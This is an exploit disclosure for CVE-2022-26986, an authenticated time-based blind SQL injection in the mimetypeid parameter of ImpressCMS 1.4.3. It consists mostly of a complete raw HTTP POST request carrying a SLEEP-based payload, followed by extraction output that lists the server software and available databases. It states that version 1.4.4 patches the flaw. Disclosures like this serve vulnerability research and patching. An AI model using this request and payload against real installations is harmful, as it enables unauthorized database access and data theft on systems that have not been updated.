ImpressCMS v1.4.3 – Authenticated SQL Injection
# Exploit Title: Authenticated Sql Injection in ImpressCMS v1.4.3 # Exploit Author: Sarang Tumne @CyberInsane (Twitter: @thecyberinsane) # Date: 7th March 2022 # CVE ID: CVE-2022-26986 # Confirmed on release 1.4.3, this vulnerability is patched in the version 1.4.4 and above... # Vendor: https://www.impresscms.org # Source: https://github.com/ImpressCMS/impresscms/releases/tag/v1.4.3 ############################################### #Step1- Login with Admin Credentials #Step2- Vulnerable Parameter to SQLi: mimetypeid (POST request): POST /ImpressCMS/htdocs/modules/system/admin.php?fct=mimetype&op=mod&mimetypeid=1 HTTP/1.1 Host: 192.168.56.117 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------40629177308912268471540748701 Content-Length: 1011 Origin: http://192.168.56.117 Connection: close Referer: http://192.168.56.117/ImpressCMS/htdocs/modules/system/admin.php?fct=mimetype&op=mod&mimetypeid=1 Cookie: tbl_SystemMimetype_sortsel=mimetypeid; tbl_limitsel=15; tbl_SystemMimetype_filtersel=default; ICMSSESSION=7c9f7a65572d2aa40f66a0d468bb20e3 Upgrade-Insecure-Requests: 1 -----------------------------40629177308912268471540748701 Content-Disposition: form-data; name="mimetypeid" 1 AND (SELECT 3583 FROM (SELECT(SLEEP(5)))XdxE) -----------------------------40629177308912268471540748701 Content-Disposition: form-data; name="extension" bin -----------------------------40629177308912268471540748701 Content-Disposition: form-data; name="types" application/octet-stream -----------------------------40629177308912268471540748701 Content-Disposition: form-data; name="name" Binary File/Linux Executable -----------------------------40629177308912268471540748701 Content-Disposition: form-data; name="icms_page_before_form" http://192.168.56.117/ImpressCMS/htdocs/modules/system/admin.php?fct=mimetype -----------------------------40629177308912268471540748701 Content-Disposition: form-data; name="op" addmimetype -----------------------------40629177308912268471540748701 Content-Disposition: form-data; name="modify_button" Submit -----------------------------40629177308912268471540748701-- Vulnerable Payload: 1 AND (SELECT 3583 FROM (SELECT(SLEEP(5)))XdxE) //time-based blind (query SLEEP) Output: web application technology: Apache 2.4.52, PHP 7.4.27 back-end DBMS: MySQL >= 5.0.12 (MariaDB fork) available databases [6]: [*] impresscms [*] information_schema [*] mysql [*] performance_schema [*] phpmyadmin [*] test |